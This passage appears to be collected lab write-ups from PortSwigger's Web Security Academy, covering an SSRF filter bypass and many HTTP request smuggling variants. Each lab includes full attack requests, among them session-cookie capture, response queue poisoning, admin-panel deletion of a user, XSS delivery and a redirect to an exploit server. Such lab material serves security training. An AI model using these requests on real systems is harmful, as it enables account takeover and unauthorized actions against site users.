`http://localhost/admin` and delete the user `carlos`. The developer has deployed an anti-SSRF defense you will need to bypass. ##### Solution 1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater. 2. Change the URL in the `stockApi` parameter to `http://127.0.0.1/` and observe that the application is parsing the URL, extracting the hostname, and validating it against a whitelist. 3. Change the URL to `http://username@stock.weliketoshop.net/` and observe that this is accepted, indicating that the URL parser supports embedded credentials. 4. Append a `#` to the username and observe that the URL is now rejected. 5. Double-URL encode the `#` to `%2523` and observe the extremely suspicious "Internal Server Error" response, indicating that the server may have attempted to connect to "username". 6. To access the admin interface and delete the target user, change the URL to: `http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos` ## HTTP request smuggling ### Finding HTTP request smuggling vulnerabilities using timing techniques ##### Chunked encoding structure: `Transfer-Encoding: chunked` ```http 0 ``` #### Finding CL.TE vulnerabilities using timing techniques [article](https://portswigger.net/web-security/request-smuggling/finding) If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay: `POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 4 1 A X` Since the front-end server uses the `Content-Length` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Transfer-Encoding` header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay. #### Finding TE.CL vulnerabilities using timing techniques If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay: ```http POST / HTTP/1.1\r\n Host: vulnerable-website.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 6\r\n \r\n 0\r\n X\r\n ``` Since the front-end server uses the `Transfer-Encoding` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Content-Length` header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay. ##### Note The timing-based test for TE.CL vulnerabilities will potentially disrupt other application users if the application is vulnerable to the CL.TE variant of the vulnerability. So to be stealthy and minimize disruption, you should use the CL.TE test first and continue to the TE.CL test only if the first test is unsuccessful. #### Confirming HTTP request smuggling vulnerabilities using differential responses When a probable request smuggling vulnerability has been detected, you can obtain further evidence for the vulnerability by exploiting it to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession: - An "attack" request that is designed to interfere with the processing of the next request. - A "normal" request. If the response to the normal request contains the expected interference, then the vulnerability is confirmed. For example, suppose the normal request looks like this: `POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling` This request normally receives an HTTP response with status code 200, containing some search results. The attack request that is needed to interfere with this request depends on the variant of request smuggling that is present: CL.TE vs TE.CL. #### Confirming CL.TE vulnerabilities using differential responses To confirm a CL.TE vulnerability, you would send an attack request like this: `POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 Transfer-Encoding: chunked e q=smuggling&x= 0 GET /404 HTTP/1.1 Foo: x` If the attack is successful, then the last two lines of this request are treated by the back-end server as belonging to the next request that is received. This will cause the subsequent "normal" request to look like this: ```http GET /404 HTTP/1.1 Foo: xPOST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling ```` #### Confirming TE.CL vulnerabilities using differential responses To confirm a TE.CL vulnerability, you would send an attack request like this: ```http POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 7c GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 144 x= 0 ``` ##### Note To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked. You need to include the trailing sequence `\r\n\r\n` following the final `0`. If the attack is successful, then everything from `GET /404` onwards is treated by the back-end server as belonging to the next request that is received. This will cause the subsequent "normal" request to look like this: `GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 146 x= 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling` #### TE.TE behavior: obfuscating the TE header Here, the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way. There are potentially endless ways to obfuscate the `Transfer-Encoding` header. For example: ```http Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked ``` ### Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for `/` (the web root) triggers a 404 Not Found response. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution Using Burp Repeater, issue the following request twice: ```http POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 35 Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 X-Ignore: X ``` The second request should receive an HTTP 404 response. ###### Jarno Timmermans ### Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses This lab involves a front-end and back-end server, and the back-end server doesn't support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for `/` (the web root) triggers a 404 Not Found response. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked. Using Burp Repeater, issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5e POST /404 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content- Length: 15 x=1 0` The second request should receive an HTTP 404 response. ###### Jarno Timmermans ### Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at `/admin`, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user `carlos`. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution 1. Try to visit `/admin` and observe that the request is blocked. 2. Using Burp Repeater, issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 37 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-Ignore: X` 3. Observe that the merged request to `/admin` was rejected due to not using the header `Host: localhost`. 4. Issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 54 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost X-Ignore: X` 5. Observe that the request was blocked due to the second request's Host header conflicting with the smuggled Host header in the first request. 6. Issue the following request twice so the second request's headers are appended to the smuggled request body instead: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 116 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Type: application/x-www- form-urlencoded Content-Length: 10 x=` 7. Observe that you can now access the admin panel. 8. Using the previous response as a reference, change the smuggled request URL to delete `carlos`: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 139 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content- Type: application/x-www-form-urlencoded Content-Length: 10 x=` ###### Jarno Timmermans ### Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability This lab involves a front-end and back-end server, and the back-end server doesn't support chunked encoding. There's an admin panel at `/admin`, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user `carlos`. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution 1. Try to visit `/admin` and observe that the request is blocked. 2. In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked. 3. Using Burp Repeater, issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-length: 4 Transfer-Encoding: chunked 60 POST /admin HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0` ##### Note You need to include the trailing sequence `\r\n\r\n` following the final `0`. 4. Observe that the merged request to `/admin` was rejected due to not using the header `Host: localhost`. 5. Issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form- urlencoded Content-Length: 15 x=1 0` 6. Observe that you can now access the admin panel. 7. Using the previous response as a reference, change the smuggled request URL to delete `carlos`: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-length: 4 Transfer-Encoding: chunked 87 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0` ###### Jarno Timmermans ### Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at `/admin`, but it's only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It's similar to the `X-Forwarded-For` header but has a different name. To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user `carlos`. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution 1. Browse to `/admin` and observe that the admin panel can only be loaded from `127.0.0.1`. 2. Use the site's search function and observe that it reflects the value of the `search` parameter. 3. Use Burp Repeater to issue the following request twice. `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 124 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close search=test` 4. The second response should contain "Search results for" followed by the start of a rewritten HTTP request. 5. Make a note of the name of the `X-*-IP` header in the rewritten request, and use it to access the admin panel: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 143 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-abcdef-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1` 6. Using the previous response as a reference, change the smuggled request URL to delete the user `carlos`: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 166 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 X-abcdef-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1` ### Lab: Exploiting HTTP request smuggling to capture other users' requests This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. To solve the lab, smuggle a request to the back-end server that causes the next user's request to be stored in the application. Then retrieve the next user's request and use the victim user's cookies to access their account. ##### Notes - Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. - The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Hint If you encounter a timeout, this may indicate that the number of bytes you're trying to capture is greater than the total number of bytes in the subsequent request. Try reducing the `Content-Length` specified in the smuggled request prefix. ##### Solution 1. Visit a blog post and post a comment. 2. Send the `comment-post` request to Burp Repeater, shuffle the body parameters so the `comment` parameter occurs last, and make sure it still works. 3. Increase the `comment-post` request's `Content-Length` to 400, then smuggle it to the back-end server: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 256 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form- urlencoded Content-Length: 400 Cookie: session=your-session-token csrf=your- csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal- user.net&website=&comment=test` 4. View the blog post to see if there's a comment containing a user's request. Note that the target user only browses the website intermittently so you may need to repeat this attack a few times before it's successful. 5. Copy the user's Cookie header from the comment, and use it to access their account. ##### Note If the stored request is incomplete and doesn't include the Cookie header, you will need to slowly increase the value of the Content-Length header in the smuggled request, until the whole cookie is captured. ###### Jarno Timmermans ### Lab: Exploiting HTTP request smuggling to deliver reflected XSS This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The application is also vulnerable to reflected XSS via the `User-Agent` header. To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes `alert(1)`. ##### Notes - Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. - The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution 1. Visit a blog post, and send the request to Burp Repeater. 2. Observe that the comment form contains your `User-Agent` header in a hidden input. 3. Inject an XSS payload into the `User-Agent` header and observe that it gets reflected: `"/>` 4. Smuggle this XSS request to the back-end server, so that it exploits the next visitor: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: a"/> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1` ##### Note Note that the target user only browses the website intermittently so you may need to repeat this attack a few times before it's successful. ###### Jarno Timmermans - [Lab](/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling) ### Lab: Response queue poisoning via H2.TE request smuggling This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. To solve the lab, delete the user `carlos` by using response queue poisoning to break into the admin panel at `/admin`. An admin user will log in approximately every 15 seconds. The connection to the back-end is reset every 10 requests, so don't worry if you get it into a bad state - just send a few normal requests to get a fresh connection. ##### Solution 1. Using Burp Repeater, try smuggling an arbitrary prefix in the body of an HTTP/2 request using chunked encoding as follows. Remember to expand the Inspector's **Request Attributes** section and make sure the protocol is set to HTTP/2 before sending the request. `POST / HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Transfer-Encoding: chunked 0 SMUGGLED` 2. Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix. 3. In Burp Repeater, create the following request, which smuggles a complete request to the back-end server. Note that the path in both requests points to a non-existent endpoint. This means that your request will always get a 404 response. Once you have poisoned the response queue, this will make it easier to recognize any other users' responses that you have successfully captured. `POST /x HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Transfer-Encoding: chunked 0 GET /x HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net` ##### Note Remember to terminate the smuggled request properly by including the sequence `\r\n\r\n` after the `Host` header. 4. Send the request to poison the response queue. You will receive the 404 response to your own request. 5. Wait for around 5 seconds, then send the request again to fetch an arbitrary response. Most of the time, you will receive your own 404 response. Any other response code indicates that you have successfully captured a response intended for the admin user. Repeat this process until you capture a 302 response containing the admin's new post-login session cookie. ##### Note If you receive some 200 responses but can't capture a 302 response even after a lot of attempts, send 10 ordinary requests to reset the connection and try again. 6. Copy the session cookie and use it to send the following request: `GET /admin HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=STOLEN-SESSION-COOKIE` 7. Send the request repeatedly until you receive a 200 response containing the admin panel. 8. In the response, find the URL for deleting `carlos` (`/admin/delete?username=carlos`), then update the path in your request accordingly. Send the request to delete `carlos` and solve the lab. ### Lab: H2.CL request smuggling This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. To solve the lab, perform a request smuggling attack that causes the victim's browser to load and execute a malicious JavaScript file from the exploit server, calling `alert(document.cookie)`. The victim user accesses the home page every 10 seconds. ##### Hint - Solving this lab requires a technique that we covered in the earlier [HTTP request smuggling materials](/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect) - You need to poison the connection immediately before the victim's browser attempts to import a JavaScript resource. Otherwise, it will fetch your payload from the exploit server but not execute it. You may need to repeat the attack several times before you get the timing right. ##### Solution 1. Using Burp Repeater, try smuggling an arbitrary prefix in the body of an HTTP/2 request by including a `Content-Length: 0` header as follows. Remember to expand the Inspector's **Request Attributes** section and make sure the protocol is set to HTTP/2 before sending the request. `POST / HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Length: 0 SMUGGLED` 2. Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix. 3. Using Burp Repeater, notice that if you send a request for `GET /resources`, you are redirected to `https://YOUR-LAB-ID.web-security-academy.net/resources/`. 4. Create the following request to smuggle the start of a request for `/resources`, along with an arbitrary `Host` header: `POST / HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: foo Content-Length: 5 x=1` 5. Send the request a few times. Notice that smuggling this prefix past the front-end allows you to redirect the subsequent request on the connection to an arbitrary host. 6. Go to the exploit server and change the file path to `/resources`. In the body, enter the payload `alert(document.cookie)`, then store the exploit. 7. In Burp Repeater, edit your malicious request so that the `Host` header points to your exploit server: `POST / HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net Content-Length: 5 x=1` 8. Send the request a few times and confirm that you receive a redirect to the exploit server. 9. Resend the request and wait for 10 seconds or so. 10. Go to the exploit server and check the access log. If you see a `GET /resources/` request from the victim, this indicates that your request smuggling attack was successful. Otherwise, check that there are no issues with your attack request and try again. 11. Once you have confirmed that you can cause the victim to be redirected to the exploit server, repeat the attack until the lab solves. This may take several attempts because you need to time your attack so that it poisons the connection immediately before the victim's browser attempts to import a JavaScript resource. Otherwise, although their browser will load your malicious JavaScript, it won't execute it. ###### Jarno Timmermans ab-request-smuggling-h2-request-smuggling-via-crlf-injection) ### Lab: HTTP/2 request smuggling via CRLF injection This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers. To solve the lab, use an HTTP/2-exclusive request smuggling vector to gain access to another user's account. The victim accesses the home page every 15 seconds. If you're not familiar with Burp's exclusive features for HTTP/2 testing, please refer to [the documentation](/burp/documentation/desktop/http2) for details on how to use them. ##### Hint To inject newlines into HTTP/2 headers, use the Inspector to drill down into the header, then press the `Shift + Return` keys. Note that this feature is not available when you double-click on the header. ##### Hint We covered some ways you can capture other users' requests via request smuggling in a [previous lab](/web-security/request- smuggling/exploiting#capturing-other-users-requests). ##### Solution 1. In Burp's browser, use the lab's search function a couple of times and observe that the website records your recent search history. Send the most recent `POST /` request to Burp Repeater and remove your session cookie before resending the request. Notice that your search history is reset, confirming that it's tied to your session cookie. 2. Expand the Inspector's **Request Attributes** section and make sure the protocol is set to HTTP/2. 3. Using the Inspector, add an arbitrary header to the request. Append the sequence `\r\n` to the header's value, followed by the `Transfer-Encoding: chunked` header: **Name** `foo` **Value** `bar\r\n Transfer-Encoding: chunked` 4. In the body, attempt to smuggle an arbitrary prefix as follows: `0 SMUGGLED` Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix 5. Change the body of the request to the following: `0 POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=YOUR-SESSION-COOKIE Content-Length: 800 search=x` 6. Send the request, then immediately refresh the page in the browser. The next step depends on which response you receive: - If you got lucky with your timing, you may see a `404 Not Found` response. In this case, refresh the page again and move on to the next step. - If you instead see the search results page, observe that the start of your request is reflected on the page because it was appended to the `search=x` parameter in the smuggled prefix. In this case, send the request again, but this time wait for 15 seconds before refreshing the page. If you see a 404 response, just refresh the page again. 7. Check the recent searches list. If it contains a `GET` request, this is the start of the victim user's request and includes their session cookie. If you instead see your own `POST` request, you refreshed the page too early. Try again until you have successfully stolen the victim's session cookie. 8. In Burp Repeater, send a request for the home page using the stolen session cookie to solve the lab. ###### Jarno Timmermans ab-request-smuggling-h2-request-splitting-via-crlf-injection) ### Lab: HTTP/2 request splitting via CRLF injection This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers. To solve the lab, delete the user `carlos` by using [response queue poisoning](/web-security/request-smuggling/advanced/response-queue-poisoning) to break into the admin panel at `/admin`. An admin user will log in approximately every 10 seconds. The connection to the back-end is reset every 10 requests, so don't worry if you get it into a bad state - just send a few normal requests to get a fresh connection. ##### Hint To inject newlines into HTTP/2 headers, use the Inspector to drill down into the header, then press the `Shift + Return` keys. Note that this feature is not available when you double-click on the header. ##### Solution 1. Send a request for `GET /` to Burp Repeater. Expand the Inspector's **Request Attributes** section and make sure the protocol is set to HTTP/2. 2. Change the path of the request to a non-existent endpoint, such as `/x`. This means that your request will always get a 404 response. Once you have poisoned the response queue, this will make it easier to recognize any other users' responses that you have successfully captured. 3. Using the Inspector, append an arbitrary header to the end of the request. In the header value, inject `\r\n` sequences to split the request so that you're smuggling another request to a non-existent endpoint as follows: **Name** `foo` **Value** `bar\r\n \r\n GET /x HTTP/1.1\r\n Host: YOUR-LAB-ID.web-security-academy.net` 4. Send the request. When the front-end server appends `\r\n\r\n` to the end of the headers during downgrading, this effectively converts the smuggled prefix into a complete request, poisoning the response queue. 5. Wait for around 5 seconds, then send the request again to fetch an arbitrary response. Most of the time, you will receive your own 404 response. Any other response code indicates that you have successfully captured a response intended for the admin user. Repeat this process until you capture a 302 response containing the admin's new post-login session cookie. ##### Note If you receive some 200 responses but can't capture a 302 response even after a lot of attempts, send 10 ordinary requests to reset the connection and try again. 6. Copy the session cookie and use it to send the following request: `GET /admin HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=STOLEN-SESSION-COOKIE` 7. Send the request repeatedly until you receive a 200 response containing the admin panel. 8. In the response, find the URL for deleting `carlos` (`/admin/delete?username=carlos`), then update the path in your request accordingly. Send the request to delete `carlos` to solve the ### Lab: 0.CL request smuggling This lab is vulnerable to 0.CL request smuggling. Carlos visits the homepage every five seconds. To solve the lab, exploit the vulnerability to execute `alert()` in his browser. ##### Required knowledge This lab is based on real-world vulnerabilities discovered by PortSwigger Research. For full details on 0.CL request smuggling, see the [HTTP/1.1 Must Die](https://portswigger.net/research/http1-must-die) whitepaper by James Kettle. ##### Solution ### Lab: CL.0 request smuggling This lab is vulnerable to CL.0 request smuggling attacks. The back-end server ignores the `Content-Length` header on requests to some endpoints. To solve the lab, identify a vulnerable endpoint, smuggle a request to the back-end to access to the admin panel at `/admin`, then delete the user `carlos`. This lab is based on real-world vulnerabilities discovered by PortSwigger Research. For more details, check out [Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling](https://portswigger.net/research/browser- powered-desync-attacks#cl.0). ##### Solution **Probe for vulnerable endpoints** 1. From the **Proxy > HTTP history**, send the `GET /` request to Burp Repeater twice. 2. In Burp Repeater, add both of these tabs to a new group. 3. Go to the first request and convert it to a `POST` request (right-click and select **Change request method**). 4. In the body, add an arbitrary request smuggling prefix. The result should look something like this: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=YOUR-SESSION-COOKIE Connection: close Content-Type: application/x-www- form-urlencoded Content-Length: CORRECT GET /hopefully404 HTTP/1.1 Foo: x` 5. Change the path of the main `POST` request to point to an arbitrary endpoint that you want to test. 6. Using the drop-down menu next to the **Send** button, change the send mode to **Send group in sequence (single connection)**. 7. Change the `Connection` header of the first request to `keep-alive`. 8. Send the sequence and check the responses. - If the server responds to the second request as normal, this endpoint is not vulnerable. - If the response to the second request matches what you expected from the smuggled prefix (in this case, a 404 response), this indicates that the back-end server is ignoring the `Content-Length` of requests. 9. Deduce that you can use requests for static files under `/resources`, such as `/resources/images/blog.svg`, to cause a CL.0 desync. **Exploit** 1. In Burp Repeater, change the path of your smuggled prefix to point to `/admin`. 2. Send the requests in sequence again and observe that the second request has successfully accessed the admin panel. 3. Smuggle a request to `GET /admin/delete?username=carlos` request to solve the lab. `POST /resources/images/blog.svg HTTP/1.1 Host: YOUR-LAB-ID.web-security- academy.net Cookie: session=YOUR-SESSION-COOKIE Connection: keep-alive Content-Length: CORRECT GET /admin/delete?username=carlos HTTP/1.1 Foo: x` ### Lab: HTTP request smuggling, basic CL.TE vulnerability This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server rejects requests that aren't using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method `GPOST`. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution Using Burp Repeater, issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Connection: keep- alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G` The second response should say: `Unrecognized method GPOST`. ###### Jarno Timmermans ### Lab: HTTP request smuggling, basic TE.CL vulnerability This lab involves a front-end and back-end server, and the back-end server doesn't support chunked encoding. The front-end server rejects requests that aren't using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method `GPOST`. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution In Burp Suite, go to the Repeater menu and ensure that the "Update Content- Length" option is unchecked. Using Burp Repeater, issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content- Length: 15 x=1 0` ##### Note You need to include the trailing sequence `\r\n\r\n` following the final `0`. The second response should say: `Unrecognized method GPOST`. ###### Jarno Timmermans ### Lab: HTTP request smuggling, obfuscating the TE header This lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren't using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method `GPOST`. ##### Note Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the **Request attributes** section of the **Inspector** panel. ##### Tip Manually fixing the length fields in request smuggling attacks can be tricky. Our [HTTP Request Smuggler](https://portswigger.net/blog/http-desync-attacks- request-smuggling-reborn#demo) Burp extension was designed to help. You can install it via the BApp Store. ##### Solution In Burp Suite, go to the Repeater menu and ensure that the "Update Content- Length" option is unchecked. Using Burp Repeater, issue the following request twice: `POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: cow 5c GPOST / HTTP/1.1 Content-Type: application/x-www- form-urlencoded Content-Length: 15 x=1 0` ##### Note You need to include the trailing sequence `\r\n\r\n` following the final `0`. The second response should say: `Unrecognized method GPOST`. 